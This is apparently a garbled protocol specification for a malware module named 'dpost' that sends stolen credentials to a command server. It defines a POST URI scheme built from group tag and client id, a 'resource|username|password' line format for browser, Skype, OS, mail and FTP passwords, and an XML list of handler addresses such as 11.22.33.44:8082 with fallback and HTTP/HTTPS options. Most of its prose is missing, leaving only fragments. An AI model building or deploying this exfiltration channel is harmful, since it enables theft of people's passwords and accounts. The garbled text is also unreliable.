2      HTTP POST-.          reverse-proxy, load-balancer   DNAT.  ,     ip- .
2.1     URI     "/" -  , id  .   POST  URI  :
/<group-tag>/<clientid>/81/
,  group-tag -  ,  clientid - id , 81 - ,   .
2.1.1   -       (a-z)   (0-9).     .
      ( Start, const ParentInfo* pParentData, pParentData->ParentGroup)
2.1.2 Id  -  .
      ( Start, const ParentInfo* pParentData, pParentData->ParentID
2.2        HTTP-: 200  403.  200      "/1/" (content-type: text/plain),   403     POST-,  POST     , URI  ,  clientid  .
3 POST-     multipart/form-data.    :

source -   .  ,     Skype,   -  "skype passwords",   - "OS passwords".  .  ..
data -     UTF8.

     ,     ,         \n:

resource|username|password\n

    ,  resource -  url.
 ,      

http://gmx.com|jack|secretpassword\n
http://yahoo.com|jack1|secretpassword1\n
http://somesite.com|jack2|secretpassword2\n

..      ,    area      .
   

skype|jack|jackass\n

  -      

os|jack|hijack\n
os|john|hijohn\n

    pop3/imap  -      ;   -    
 ftp   url,  ftp://ftp.com




3.           Control()  :
Ctl = "dpost"
CtlArg = " "

3.1.      xml   :

<dpost>
<handler>http://11.22.33.44:8082</handler>
<handler>127.0.0.1:8083</handler>
</dpost>

 http/https   .   ,     .
   :
-    ,      (HTTP),   ,     SSL/TLS (HTTPS).

3.2.     :
-     url
-    uri .  url  (    ),  

  http://11.22.33.44:8082/group_id/client_id/81

-  http-,   
-       (  ,     200),   url  
-   ,        
-         ,  2 :
  -   ,   
  -      
     .
